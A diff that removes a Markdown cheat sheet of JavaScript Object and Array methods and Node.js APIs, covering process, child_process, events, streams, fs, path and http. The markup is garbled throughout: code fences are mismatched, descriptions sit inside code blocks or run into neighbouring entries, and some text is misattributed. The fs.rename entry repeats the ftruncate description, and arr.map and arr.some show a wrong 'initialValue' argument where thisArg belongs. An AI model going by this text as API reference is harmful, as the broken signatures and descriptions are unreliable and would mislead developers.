-Object.getOwnPropertyDescriptors(obj);
-```
-
-> Returns an object containing all own property descriptors for an object.
-
-```js
-Object.getOwnPropertyNames(obj);
-```
-
-> Returns an array containing the names of all of the given object's own enumerable and non-enumerable properties.
-
-```js
-Object.getOwnPropertySymbols(obj);
-```
-
-> Returns an array of all symbol properties found directly upon a given object.
-
-```js
-Object.getPrototypeOf(obj);
-```
-
-> Returns the prototype of the specified object.
-
-```js
-Object.is(value1, value2);
-```
-
-> Compares if two values are the same value. Equates all NaN values (which differs from both Abstract Equality Comparison and Strict Equality Comparison).
-
-```js
-Object.isExtensible(obj);
-```
-
-> Determines if extending of an object is allowed.
-
-```js
-Object.isFrozen(obj);
-```
-
-> Determines if an object was frozen.
-
-```js
-Object.isSealed(obj);
-```
-
-> Determines if an object is sealed.
-
-```js
-Object.keys(obj);
-```
-
-> Returns an array containing the names of all of the given object's own enumerable string properties.
-
-```js
-Object.preventExtensions(obj);
-```
-
-> Prevents any extensions of an object.
-
-```js
-Object.seal(obj);
-```
-
-> Prevents other code from deleting properties of an object.
-
-```js
-Object.setPrototypeOf(obj, prototype);
-```
-
-> Sets the prototype (i.e., the internal \[\[Prototype]] property).
-
-```js
-Object.values(obj);
-```
-
-> Returns an array containing the values that correspond to all of a given object's own enumerable string properties. Object instances and Object prototype object (Object.prototype.property or Object.prototype.method()) Properties
-
-```js
-obj.constructor;
-```
-
-> Specifies the function that creates an object's prototype.
-
-```js
-obj.__proto__;
-```
-
-> Points to the object which was used as prototype when the object was instantiated. Methods
-
-```js
-obj.hasOwnProperty(prop);
-```
-
-> Returns a boolean indicating whether an object contains the specified property as a direct property of that object and not inherited through the prototype chain.
-
-```js
-prototypeObj.isPrototypeOf(object);
-```
-
-> Returns a boolean indicating whether the object this method is called upon is in the prototype chain of the specified object.
-
-```js
-obj.propertyIsEnumerable(prop);
-```
-
-> Returns a boolean indicating if the internal ECMAScript \[\[Enumerable]] attribute is set.
-
-```js
-obj.toLocaleString();
-```
-
-> Calls toString().
-
-```js
-obj.toString();
-```
-
-> Returns a string representation of the object.
-
-```js
-object.valueOf();
-```
-
-> Returns the primitive value of the specified object.
-
-### Global object: properties
-
-```js
-Array.length;
-```
-
-> Reflects the number of elements in an array.
-
-```js
-Array.prototype;
-```
-
-> Represents the prototype for the Array constructor and allows to add new properties and methods to all Array objects.
-
-### Global object: methods
-
-```js
-Array.from(arrayLike[, mapFn[, thisArg]])
-```
-
-> Creates a new Array instance from an array-like or iterable object.
-
-```js
-Array.isArray(obj);
-```
-
-> Returns true if a variable is an array, if not false.
-
-```js
-Array.of(element0[, element1[, ...[, elementN]]]);
-```
-
-> Creates a new Array instance with a variable number of arguments, regardless of number or type of the arguments. Instance: properties
-
-```js
-arr.length;
-```
-
-> Reflects the number of elements in an array. Instance: mutator methods
-
-```js
-arr.copyWithin(target, start, end);
-```
-
-> Copies a sequence of array elements within the array.
-
-```js
-arr.fill(value, start, end);
-```
-
-> Fills all the elements of an array from a start index to an end index with a static value.
-
-```js
-arr.pop();
-```
-
-> Removes the last element from an array and returns that element.
-
-```js
-arr.push([element1[, ...[, elementN]]])
-```
-
-> Adds one or more elements to the end of an array and returns the new length of the array.
-
-```js
-arr.reverse();
-```
-
-> Reverses the order of the elements of an array in place — the first becomes the last, and the last becomes the first.
-
-```js
-arr.shift();
-```
-
-> Removes the first element from an array and returns that element.
-
-```js
-arr.sort();
-```
-
-> Sorts the elements of an array in place and returns the array.
-
-```js
-array.splice(start, deleteCount, item1, item2, ...)
-```
-
-> Adds and/or removes elements from an array.
-
-```js
-arr.unshift([element1[, ...[, elementN]]])
-```
-
-> Adds one or more elements to the front of an array and returns the new length of the array. Instance: accessor methods
-
-```js
-arr.concat(value1[, value2[, ...[, valueN]]])
-```
-
-> Returns a new array comprised of this array joined with other array(s) and/or value(s).
-
-```js
-arr.includes(searchElement, fromIndex);
-```
-
-> Determines whether an array contains a certain element, returning true or false as appropriate.
-
-```js
-arr.indexOf(searchElement[, fromIndex])
-```
-
-> Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found.
-
-```js
-arr.join(separator);
-```
-
-> Joins all elements of an array into a string.
-
-```js
-arr.lastIndexOf(searchElement, fromIndex);
-```
-
-> Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found.
-
-```js
-arr.slice(begin, end);
-```
-
-> Extracts a section of an array and returns a new array.
-
-```js
-arr.toString();
-```
-
-> Returns a string representing the array and its elements. Overrides the Object.prototype.toString() method.
-
-```js
-arr.toLocaleString(locales, options);
-```
-
-> Returns a localized string representing the array and its elements. Overrides the Object.prototype.toLocaleString() method. Instance: iteration methods
-
-```js
-arr.entries();
-```
-
-> Returns a new Array Iterator object that contains the key/value pairs for each index in the array.
-
-```js
-arr.every(callback[, thisArg])
-```
-
-> Returns true if every element in this array satisfies the provided testing function.
-
-```js
-arr.filter(callback[, thisArg])
-```
-
-> Creates a new array with all of the elements of this array for which the provided filtering function returns true.
-
-```js
-arr.find(callback[, thisArg])
-```
-
-> Returns the found value in the array, if an element in the array satisfies the provided testing function or undefined if not found.
-
-```js
-arr.findIndex(callback[, thisArg])
-```
-
-> Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found.
-
-```js
-arr.forEach(callback[, thisArg])
-```
-
-> Calls a function for each element in the array.
-
-```js
-arr.keys();
-```
-
-> Returns a new Array Iterator that contains the keys for each index in the array.
-
-```js
-arr.map(callback[, initialValue])
-```
-
-> Creates a new array with the results of calling a provided function on every element in this array.
-
-```js
-arr.reduce(callback[, initialValue])
-```
-
-> Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value.
-
-```js
-arr.reduceRight(callback[, initialValue])
-```
-
-> Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value.
-
-```js
-arr.some(callback[, initialValue])
-```
-
-> Returns true if at least one element in this array satisfies the provided testing function.
-
-```js
-arr.values();
-```
-
-> Returns a new Array Iterator object that contains the values for each index in the array.
-
----
-
-## NodeJS
-
----
-
-```js
-let http = require('http');
-```
-
-> An example of a web server written with Node which responds with 'Hello World'. To run the server, put the code into a file called example.js and execute it with the node program.
-
-```js
-http.createServer(function (request, response) {
-    response.writeHead(200, { 'Content-Type': 'text/plain' });
-    response.end('Hello World\n');
-}).listen(8124);
-console.log('Server running at http://127.0.0.1:8124/');
-```
-
-### GLOBAL OBJECTS
-
-#### In browsers, the top-level scope is the global scope.
-
-> That means that in browsers if you're in the global scope let something will define a global variable. In Node this is different. The top-level scope is not the global scope; let something inside a Node module will be local to that module.
-
-```js
-__filename;
-```
-
----
-
-> The filename of the code being executed. (absolute path) \_\_dirname;
-
-```
->  The name of the directory that the currently executing script resides in. (absolute path)
-module;
-```
-
----
-
-> A reference to the current module. In particular module.exports is used for defining what a module exports and makes available through require().
-
-```js
-exports;
-```
-
----
-
-> A reference to the module.exports that is shorter to type.
-
-```js
-process;
-```
-
----
-
-> The process object is a global object and can be accessed from anywhere. It is an instance of EventEmitter.
-
-```js
-Buffer;
-```
-
----
-
-> The Buffer class is a global type for dealing with binary data directly.
-
-```js
-console.log([data], [...]);
-```
-
----
-
-> Prints to stdout with newline.
-
-```js
-console.info([data], [...]);
-```
-
-> Same as console.log.
-
-```js
-console.error([data], [...]);
-```
-
----
-
-> Same as console.log but prints to stderr.
-
-```js
-console.warn([data], [...]);
-```
-
----
-
-> Same as console.error.
-
-```js
-console.dir(obj);
-```
-
-> Uses util.inspect on obj and prints resulting string to stdout.
-
-```js
-console.time(label);
-```
-
----
-
-> Mark a time.
-
-```js
-console.timeEnd(label);
-```
-
-> Finish timer, record output.
-
-```js
-console.trace(label);
-```
-
----
-
-> Print a stack trace to stderr of the current position.
-
-```js
-console.assert(expression, [message]);
-```
-
----
-
-> Same as assert.ok() where if the expression evaluates as false throw an AssertionError with message.
-
-```js
-setTimeout(callback, delay, [arg], [...]);
-```
-
-> To schedule execution of a one-time callback after delay milliseconds. Optionally you can also pass arguments to the callback.
-
-```js
-clearTimeout(t);
-```
-
-> Stop a timer that was previously created with setTimeout().
-
-```js
-setInterval(callback, delay, [arg], [...]);
-```
-
----
-
-> To schedule the repeated execution of callback every delay milliseconds. Optionally you can also pass arguments to the callback.
-
-```js
-clearInterval(t);
-```
-
-> Stop a timer that was previously created with setInterval().
-
-```js
-setImmediate(callback, [arg], [...]);
-```
-
-> To schedule the "immediate" execution of callback after I/O events callbacks and before setTimeout and setInterval.
-
-```js
-clearImmediate(immediateObject);
-```
-
-> Stop a timer that was previously created with setImmediate().
-
-```js
-unref();
-```
-
-> Allow you to create a timer that is active but if it is the only item left in the event loop, node won't keep the program running.
-
-```js
-ref();
-```
-
-```
->  If you had previously unref()d a timer you can call ref() to explicitly request the timer hold the program open.
-let module = require('./module.js');
-```
-
-> Loads the module module.js in the same directory.
-
-```js
-module.require('./another_module.js');
-```
-
----
-
-> load another_module as if require() was called from the module itself.
-
-```js
-module.id;
-```
-
-> The identifier for the module. Typically this is the fully resolved filename.
-
-```js
-module.filename;
-```
-
----
-
-> The fully resolved filename to the module.
-
-```js
-module.loaded;
-```
-
-````
->  Whether or not the module is done loading, or is in the process of loading.
-
-```js
-
-module.parent;
-````
-
-````
->  The module that required this one.
-
-```js
-
-module.children;
-````
-
----
-
-> The module objects required by this one.
-
-```js
-exports.area = function (r) {
-    return Math.PI * r * r;
-};
-```
-
-> If you want the root of your module's export to be a function (such as a constructor) or if you want to export a complete object in one assignment instead of building it one property at a time, assign it to module.exports instead of exports.
-
-```js
-module.exports = function(width) {
-return {
-  area: function() {
-    return width * width;
-  }
-};
-}
-//**************
- // * PROCESS
- * http://nodejs.org/api/process.html
-*/
-> ---------------------------------------------------------------------------\\
-process.on('exit', function(code) {});
-```
-
-> Emitted when the process is about to exit process.on('uncaughtException', function(err) {});
-
-```
----
->  Emitted when an exception bubbles all the way back to the event loop. (should not be used)
-process.stdout;
-```
-
-> A writable stream to stdout.
-
-```js
-process.stderr;
-```
-
-> A writable stream to stderr.
-
-```js
-process.stdin;
-```
-
----
-
-> A readable stream for stdin.
-
-````js
-process.argv;
->  An array containing the command line arguments.
-
-```js
-
-process.env;
-````
-
-> An object containing the user environment.
-
-```js
-process.execPath;
-```
-
-> This is the absolute pathname of the executable that started the process.
-
-```js
-process.execArgv;
-```
-
-> This is the set of node-specific command line options from the executable that started the process.
-
-````js
-process.arch;
->  What processor architecture you're running on: 'arm', 'ia32', or 'x64'.
-
-```js
-
-process.config;
-````
-
-> An Object containing the JavaScript representation of the configure options that were used to compile the current node executable.
-
-```js
-process.pid;
-```
-
-> The PID of the process.
-
-```js
-process.platform;
-```
-
-> What platform you're running on: 'darwin', 'freebsd', 'linux', 'sunos' or 'win32'.
-
-```js
-process.title;
-```
-
----
-
-> Getter/setter to set what is displayed in 'ps'.
-
-```js
-process.version;
-```
-
-> A compiled-in property t hat exposes NODE_VERSION.
-
-```js
-process.versions;
-```
-
-> A property exposing version strings of node and its dependencies.
-
-```js
-> process.abort();
-```
-
-> This causes node to emit an abort. This will cause node to exit and generate a core file.
-
-````js
-process.chdir(dir);
->  Changes the current working directory of the process or throws an exception if that fails.
-
-```js
-
-process.cwd();
-````
-
----
-
-> Returns the current working directory of the process. ?process.exit(\[code]);\
-> Ends the process with the specified code. If omitted, exit uses the 'success' code 0.
-
-```js
-process.getgid();
-```
-
-> Gets the group identity of the process.
-
-````js
-process.setgid(id);
->  Sets the group identity of the process.
-
-```js
-
-process.getuid();
-````
-
-> Gets the user identity of the process.
-
-````js
-process.setuid(id);
->  Sets the user identity of the process.
-
-```js
-
-process.getgroups();
-````
-
----
-
-> Returns an array with the supplementary group IDs.
-
-```js
-process.setgroups(grps);
-```
-
----
-
-> Sets the supplementary group IDs.
-
-```js
-process.initgroups(user, extra_grp);
-```
-
----
-
-> Reads /etc/group and initializes the group access list, using all groups of which the user is a member.
-
-```js
-process.kill(pid, [signal]);
-```
-
-> Send a signal to a process. pid is the process id and signal is the string describing the signal to send.
-
-```js
-process.memoryUsage();
-```
-
-> Returns an object describing the memory usage of the Node process measured in bytes.
-
-```js
-process.nextTick(callback);
-```
-
-> On the next loop around the event loop call this callback.
-
-````js
-process.maxTickDepth;
->  Callbacks passed to process.nextTick will usually be called at the end of the current flow of execution, and are thus approximately as fast as calling a function synchronously.
-
-```js
-
-process.umask([mask]);
-````
-
-> Sets or reads the process's file mode creation mask.
-
-```js
-process.uptime();
-```
-
-> Number of seconds Node has been running.
-
-```js
-process.hrtime();
-```
-
-> Returns the current high-resolution real time in a \[seconds, nanoseconds] tuple Array.
-
-````js
-//**************
- // * CHILD PROCESS
- * http://nodejs.org/api/child_process.html
-*/
-> ---------------------------------------------------------------------------\\
->  Node provides a tri-directional popen facility through the child_process module.
- > It is possible to stream data through a child's stdin, stdout, and stderr in a fully non-blocking way.
-
-```js
-
-ChildProcess;
->  Class. ChildProcess is an EventEmitter.
-
-```js
-
-child.stdin;
->  A Writable Stream that represents the child process's stdin
-child.stdout;
->  A Readable Stream that represents the child process's stdout
-child.stderr;
->  A Readable Stream that represents the child process's stderr.
-
-```js
-
-child.pid;
->  The PID of the child process
-child.connected;
->  If .connected is false, it is no longer possible to send messages
-child.kill([signal]);
-````
-
-> Send a signal to the child process child.send(message, \[sendHandle]);
-
-````
->  When using child_process.fork() you can write to the child using child.send(message, [sendHandle]) and messages are received by a 'message' event on the child.
-
-```js
-
-child.disconnect();
-````
-
-> Close the IPC channel between parent and child, allowing the child to exit gracefully once there are no other connections keeping it alive.
-
-```js
-child_process.spawn(command, [args], [options]);
-```
-
-> Launches a new process with the given command, with command line arguments in args. If omitted, args defaults to an empty Array.
-
-````js
-child_process.exec(command, [options], callback);
->  Runs a command in a shell and buffers the output.
-
-```js
-
-child_process.execFile(file, [args], [options], [callback]);
-````
-
----
-
-> Runs a command in a shell and buffers the output.
-
-```js
-child_process.fork(modulePath, [args], [options]);
-```
-
----
-
-> This is a special case of the spawn() functionality for spawning Node processes. In addition to having all the methods in a normal ChildProcess instance, the returned object has a communication channel built-in.
-
-````js
-//**************
- // * UTIL
- * http://nodejs.org/api/util.html
-*/
-> ---------------------------------------------------------------------------\\
->  These functions are in the module 'util'. Use require('util') to access them.
-
-```js
-
-util.format(format, [...]);
-````
-
-> Returns a formatted string using the first argument as a printf-like format. (%s, %d, %j) util.debug(string);
-
-````
----
->  A synchronous output function. Will block the process and output string immediately to stderr.
-
-```js
-
-util.error([...]);
-````
-
-> Same as util.debug() except this will output all arguments immediately to stderr.
-
-```js
-util.puts([...]);
-```
-
-> A synchronous output function. Will block the process and output all arguments to stdout with newlines after each argument.
-
-```js
-util.print([...]);
-```
-
-> A synchronous output function. Will block the process, cast each argument to a string then output to stdout. (no newlines) util.log(string);
-
-````
->  Output with timestamp on stdout.
-
-```js
-
-util.inspect(object, [opts]);
-````
-
----
-
-> Return a string representation of object, which is useful for debugging. (options: showHidden, depth, colors, customInspect) util.isArray(object);
-
-````
->   Returns true if the given "object" is an Array. false otherwise.
-
-```js
-
-util.isRegExp(object);
-````
-
-> Returns true if the given "object" is a RegExp. false otherwise.
-
-```js
-util.isDate(object);
-```
-
-> Returns true if the given "object" is a Date. false otherwise.
-
-```js
-util.isError(object);
-```
-
-> Returns true if the given "object" is an Error. false otherwise.
-
-````js
-util.promisify(fn)
->  Takes a function whose last argument is a callback and returns a version that returns promises.
-
-```js
-
-util.inherits(constructor, superConstructor);
-````
-
----
-
-> Inherit the prototype methods from one constructor into another.
-
-```js
-//**************
- // * EVENTS
- * http://nodejs.org/api/events.html
-*/
-> ---------------------------------------------------------------------------\\
->  All objects which emit events are instances of events.EventEmitter. You can access this module by doing: require("events");
-```
-
-> To access the EventEmitter class, require('events').EventEmitter. All EventEmitters emit the event 'newListener' when new listeners are added and 'removeListener' when a listener is removed.
-
-```js
-emitter.addListener(event, listener);
-```
-
-> Adds a listener to the end of the listeners array for the specified event.
-
-````js
-emitter.on(event, listener);
->  Same as emitter.addListener().
-
-```js
-
-emitter.once(event, listener);
-````
-
-> Adds a one time listener for the event. This listener is invoked only the next time the event is fired, after which it is removed.
-
-````js
-emitter.removeListener(event, listener);
->  Remove a listener from the listener array for the specified event.
-
-```js
-
-emitter.removeAllListeners([event]);
-````
-
-> Removes all listeners, or those of the specified event.
-
-````js
-emitter.setMaxListeners(n);
->  By default EventEmitters will print a warning if more than 10 listeners are added for a particular event.
-
-```js
-
-emitter.listeners(event);
->  Returns an array of listeners for the specified event.
-
-```js
-
-emitter.emit(event, [arg1], [arg2], [...]);
-````
-
----
-
-> Execute each of the listeners in order with the supplied arguments. Returns true if event had listeners, false otherwise.
-
-```js
-EventEmitter.listenerCount(emitter, event);
-```
-
----
-
-> Return the number of listeners for a given event. A stream is an abstract interface implemented by various objects in Node. For example a request to an HTTP server is a stream, as is stdout. Streams are readable, writable, or both. All streams are instances of EventEmitter. The Readable stream interface is the abstraction for a source of data that you are reading from. In other words, data comes out of a Readable stream. A Readable stream will not start emitting data until you indicate that you are ready to receive it. Examples of readable streams include: http responses on the client, http requests on the server, fs read streams zlib streams, crypto streams, tcp sockets, child process stdout and stderr, process.stdin.
-
-```js
-let readable = getReadableStreamSomehow();
-readable.on('readable', function () {});
-```
-
-> When a chunk of data can be read from the stream, it will emit a 'readable' event.
-
-```js
-readable.on('data', function (chunk) {});
-```
-
----
-
-> If you attach a data event listener, then it will switch the stream into flowing mode, and data will be passed to your handler as soon as it is available.
-
-```js
-readable.on('end', function () {});
-```
-
-> This event fires when there will be no more data to read.
-
-```js
-readable.on('close', function () {});
-```
-
----
-
-> Emitted when the underlying resource (for example, the backing file descriptor) has been closed. Not all streams will emit this.
-
-```js
-readable.on('error', function () {});
-```
-
----
-
-> Emitted if there was an error receiving data. The read() method pulls some data out of the internal buffer and returns it. If there is no data available, then it will return null. This method should only be called in non-flowing mode. In flowing-mode, this method is called automatically until the internal buffer is drained.
-
-```js
-readable.read([size]);
-readable.setEncoding(encoding);
-```
-
-> Call this function to cause the stream to return strings of the specified encoding instead of Buffer objects.
-
-```js
-readable.resume();
-```
-
-> This method will cause the readable stream to resume emitting data events.
-
-```js
-readable.pause();
-```
-
-> This method will cause a stream in flowing-mode to stop emitting data events.
-
-```js
-readable.pipe(destination, [options]);
-```
-
-> This method pulls all the data out of a readable stream, and writes it to the supplied destination, automatically managing the flow so that the destination is not overwhelmed by a fast readable stream.
-
-```js
-readable.unpipe([destination]);
-```
-
-> This method will remove the hooks set up for a previous pipe() call. If the destination is not specified, then all pipes are removed.
-
-````js
-readable.unshift(chunk);
->  This is useful in certain cases where a stream is being consumed by a parser, which needs to "un-consume" some data that it has optimistically pulled out of the source, so that the stream can be passed on to some other party.
->  The Writable stream interface is an abstraction for a destination that you are writing data to.
- > Examples of writable streams include: http requests on the client, http responses on the server, fs write streams,
->  zlib streams, crypto streams, tcp sockets, child process stdin, process.stdout, process.stderr.
-
-```js
-
-let writer = getWritableStreamSomehow();
-writable.write(chunk, [encoding], [callback]);
-````
-
----
-
-> This method writes some data to the underlying system, and calls the supplied callback once the data has been fully handled.
-
-````js
-writer.once('drain', write);
->  If a writable.write(chunk) call returns false, then the drain event will indicate when it is appropriate to begin writing more data to the stream.
-
-```js
-
-writable.end([chunk], [encoding], [callback]);
-````
-
----
-
-> Call this method when no more data will be written to the stream.
-
-````js
-writer.on('finish', function() {});
->  When the end() method has been called, and all data has been flushed to the underlying system, this event is emitted.
-
-```js
-
-writer.on('pipe', function(src) {});
-````
-
----
-
-> This is emitted whenever the pipe() method is called on a readable stream, adding this writable to its set of destinations.
-
-```js
-writer.on('unpipe', function (src) {});
-```
-
-> This is emitted whenever the unpipe() method is called on a readable stream, removing this writable from its set of destinations.
-
-```js
-writer.on('error', function (src) {});
-```
-
-> Emitted if there was an error when writing or piping data. Duplex streams are streams that implement both the Readable and Writable interfaces. See above for usage. Examples of Duplex streams include: tcp sockets, zlib streams, crypto streams. Transform streams are Duplex streams where the output is in some way computed from the input. They implement both the Readable and Writable interfaces. See above for usage. Examples of Transform streams include: zlib streams, crypto streams.
-
-````js
-//**************
- // * FILE SYSTEM
- * http://nodejs.org/api/fs.html
-*/
-> ---------------------------------------------------------------------------\\
->  To use this module do require('fs').
- > All the methods have asynchronous and synchronous forms.
-
-```js
-
-fs.rename(oldPath, newPath, callback);
-````
-
----
-
-> Asynchronous rename. No arguments other than a possible exception are given to the completion callback.Asynchronous ftruncate. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.renameSync(oldPath, newPath);
-```
-
-> Synchronous rename.
-
-```js
-fs.ftruncate(fd, len, callback);
-```
-
-> Asynchronous ftruncate. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.ftruncateSync(fd, len);
-```
-
-> Synchronous ftruncate.
-
-````js
-fs.truncate(path, len, callback);
->  Asynchronous truncate. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.truncateSync(path, len);
->  Synchronous truncate.
-
-```js
-
-fs.chown(path, uid, gid, callback);
->  Asynchronous chown. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.chownSync(path, uid, gid);
-````
-
-> Synchronous chown.
-
-```js
-fs.fchown(fd, uid, gid, callback);
-```
-
----
-
-> Asynchronous fchown. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.fchownSync(fd, uid, gid);
-```
-
----
-
-> Synchronous fchown.
-
-```js
-fs.lchown(path, uid, gid, callback);
-```
-
-> Asynchronous lchown. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.lchownSync(path, uid, gid);
-```
-
-> Synchronous lchown.
-
-```js
-fs.chmod(path, mode, callback);
-```
-
-> Asynchronous chmod. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.chmodSync(path, mode);
-```
-
-> Synchronous chmod.
-
-```js
-fs.fchmod(fd, mode, callback);
-```
-
-> Asynchronous fchmod. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.fchmodSync(fd, mode);
-```
-
-> Synchronous fchmod.
-
-```js
-fs.lchmod(path, mode, callback);
-```
-
-> Asynchronous lchmod. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.lchmodSync(path, mode);
-```
-
-> Synchronous lchmod.
-
-```js
-fs.stat(path, callback);
-```
-
-> Asynchronous stat. The callback gets two arguments (err, stats) where stats is a fs.Stats object.
-
-```js
-fs.statSync(path);
-```
-
-> Synchronous stat. Returns an instance of fs.Stats.
-
-```js
-fs.lstat(path, callback);
-```
-
-> Asynchronous lstat. The callback gets two arguments (err, stats) where stats is a fs.Stats object. lstat() is identical to stat(), except that if path is a symbolic link, then the link itself is stat-ed, not the file that it refers to.
-
-```js
-fs.lstatSync(path);
-```
-
-> Synchronous lstat. Returns an instance of fs.Stats.
-
-````js
-fs.fstat(fd, callback);
->  Asynchronous fstat. The callback gets two arguments (err, stats) where stats is a fs.Stats object. fstat() is identical to stat(), except that the file to be stat-ed is specified by the file descriptor fd.
-
-```js
-
-fs.fstatSync(fd);
-````
-
----
-
-> Synchronous fstat. Returns an instance of fs.Stats.
-
-````js
-fs.link(srcpath, dstpath, callback);
->  Asynchronous link. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.linkSync(srcpath, dstpath);
-````
-
-> Synchronous link.
-
-```js
-fs.symlink(srcpath, dstpath, [type], callback);
-```
-
----
-
-> Asynchronous symlink. No arguments other than a possible exception are given to the completion callback. The type argument can be set to 'dir', 'file', or 'junction' (default is 'file') and is only available on Windows (ignored on other platforms)
-
-```js
-fs.symlinkSync(srcpath, dstpath, [type]);
-```
-
-> Synchronous symlink.
-
-```js
-fs.readlink(path, callback);
-```
-
-> Asynchronous readlink. The callback gets two arguments (err, linkString).
-
-```js
-fs.readlinkSync(path);
-```
-
----
-
-> Synchronous readlink. Returns the symbolic link's string value.
-
-```js
-fs.unlink(path, callback);
-```
-
----
-
-> Asynchronous unlink. No arguments other than a possible exception are given to the completion callback.
-
-````js
-fs.unlinkSync(path);
->  Synchronous unlink.
-
-```js
-
-fs.realpath(path, [cache], callback);
->  Asynchronous realpath. The callback gets two arguments (err, resolvedPath).
-
-```js
-
-fs.realpathSync(path, [cache]);
-````
-
-> Synchronous realpath. Returns the resolved path.
-
-````js
-fs.rmdir(path, callback);
->  Asynchronous rmdir. No arguments other than a possible exception are given to the completion callback.
-
-```js
-
-fs.rmdirSync(path);
-````
-
----
-
-> Synchronous rmdir.
-
-```js
-fs.mkdir(path, [mode], callback);
-```
-
-> Asynchronous mkdir. No arguments other than a possible exception are given to the completion callback. mode defaults to 0777.
-
-```js
-fs.mkdirSync(path, [mode]);
-```
-
-> Synchronous mkdir.
-
-```js
-fs.readdir(path, callback);
-```
-
-> Asynchronous readdir. Reads the contents of a directory. The callback gets two arguments (err, files) where files is an array of the names of the files in the directory excluding '.' and '..'.
-
-```js
-fs.readdirSync(path);
-```
-
-> Synchronous readdir. Returns an array of filenames excluding '.' and '..'.
-
-```js
-fs.close(fd, callback);
-```
-
-> Asynchronous close. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.closeSync(fd);
-```
-
-> Synchronous close.
-
-```js
-fs.open(path, flags, [mode], callback);
-```
-
-> Asynchronous file open.
-
-```js
-fs.openSync(path, flags, [mode]);
-```
-
-> Synchronous version of fs.open().
-
-```js
-fs.utimes(path, atime, mtime, callback);
-```
-
----
-
-> Change file timestamps of the file referenced by the supplied path.
-
-```js
-fs.utimesSync(path, atime, mtime);
-```
-
-> Synchronous version of fs.utimes().
-
-```js
-fs.futimes(fd, atime, mtime, callback);
-```
-
-> Change the file timestamps of a file referenced by the supplied file descriptor.
-
-```js
-fs.futimesSync(fd, atime, mtime);
-```
-
-> Synchronous version of fs.futimes().
-
-```js
-fs.fsync(fd, callback);
-```
-
-> Asynchronous fsync. No arguments other than a possible exception are given to the completion callback.
-
-```js
-fs.fsyncSync(fd);
-```
-
-> Synchronous fsync.
-
-```js
-fs.write(fd, buffer, offset, length, position, callback);
-```
-
----
-
-> Write buffer to the file specified by fd.
-
-```js
-fs.writeSync(fd, buffer, offset, length, position);
-```
-
-> Synchronous version of fs.write(). Returns the number of bytes written.
-
-```js
-fs.read(fd, buffer, offset, length, position, callback);
-```
-
-> Read data from the file specified by fd.
-
-```js
-fs.readSync(fd, buffer, offset, length, position);
-```
-
-> Synchronous version of fs.read. Returns the number of bytesRead.
-
-```js
-fs.readFile(filename, [options], callback);
-```
-
-> Asynchronously reads the entire contents of a file.
-
-```js
-fs.readFileSync(filename, [options]);
-```
-
-> Synchronous version of fs.readFile. Returns the contents of the filename. If the encoding option is specified then this function returns a string. Otherwise it returns a buffer.
-
-```js
-fs.writeFile(filename, data, [options], callback);
-```
-
-> Asynchronously writes data to a file, replacing the file if it already exists. data can be a string or a buffer.
-
-```js
-fs.writeFileSync(filename, data, [options]);
-```
-
-> The synchronous version of fs.writeFile.
-
-```js
-fs.appendFile(filename, data, [options], callback);
-```
-
----
-
-> Asynchronously append data to a file, creating the file if it not yet exists. data can be a string or a buffer.
-
-```js
-fs.appendFileSync(filename, data, [options]);
-```
-
-> The synchronous version of fs.appendFile.
-
-```js
-fs.watch(filename, [options], [listener]);
-```
-
-> Watch for changes on filename, where filename is either a file or a directory. The returned object is a fs.FSWatcher. The listener callback gets two arguments (event, filename). event is either 'rename' or 'change', and filename is the name of the file which triggered the event.
-
-```js
-fs.exists(path, callback);
-```
-
----
-
-> Test whether or not the given path exists by checking with the file system. Then call the callback argument with either true or false. (should not be used) fs.existsSync(path);
-
-````
->  Synchronous version of fs.exists. (should not be used)
->  fs.Stats: objects returned from fs.stat(), fs.lstat() and fs.fstat() and their synchronous counterparts are of this type.
-
-```js
-
-stats.isFile();
-stats.isDirectory()
-stats.isBlockDevice()
-stats.isCharacterDevice()
-stats.isSymbolicLink()
->  (only valid with fs.lstat())
-stats.isFIFO()
-stats.isSocket()
-fs.createReadStream(path, [options]);
-````
-
-> Returns a new ReadStream object.
-
-```js
-fs.createWriteStream(path, [options]);
-```
-
----
-
-> Returns a new WriteStream object. Use require('path') to use this module. This module contains utilities for handling and transforming file paths. Almost all these methods perform only string transformations. The file system is not consulted to check whether paths are valid.
-
-````js
-path.normalize(p);
->  Normalize a string path, taking care of '..' and '.' parts.
-
-```js
-
-path.join([path1], [path2], [...]);
-````
-
-> Join all arguments together and normalize the resulting path.
-
-```js
-path.resolve([from ...], to);
-```
-
-> Resolves 'to' to an absolute path.
-
-```js
-path.relative(from, to);
-```
-
-> Solve the relative path from 'from' to 'to'.
-
-````js
-path.dirname(p);
->  Return the directory name of a path. Similar to the Unix dirname command.
-
-```js
-
-path.basename(p, [ext]);
-````
-
-> Return the last portion of a path. Similar to the Unix basename command.
-
-```js
-path.extname(p);
-```
-
----
-
-> Return the extension of the path, from the last '.' to end of string in the last portion of the path.
-
-```js
-path.sep;
-```
-
----
-
-> The platform-specific file separator. '\\' or '/'.
-
-```js
-path.delimiter;
-```
-
----
-
-> The platform-specific path delimiter, ';' or ':'. To use the HTTP server and client one must require('http').
-
-```js
-http.STATUS_CODES;
-```
-
-> A collection of all the standard HTTP response status codes, and the short description of each.
-
-```js
-http.request(options, [callback]);
-```
-
-````
----
->  This function allows one to transparently issue requests.
-
-```js
-
-http.get(options, [callback]);
-````
-
-> Set the method to GET and calls req.end() automatically.
-
-```js
-server = http.createServer([requestListener]);
-```
-
----
-
-> Returns a new web server object. The requestListener is a function which is automatically added to the 'request' event.
-
-```js
-server.listen(port, [hostname], [backlog], [callback]);
-```
-
-> Begin accepting connections on the specified port and hostname.
-
-```js
-server.listen(path, [callback]);
-```
-
-> Start a UNIX socket server listening for connections on the given path.
-
-```js
-server.listen(handle, [callback]);
-```
-
-> The handle object can be set to either a server or socket (anything with an underlying \_handle member), or a {fd: } object.
-
-```js
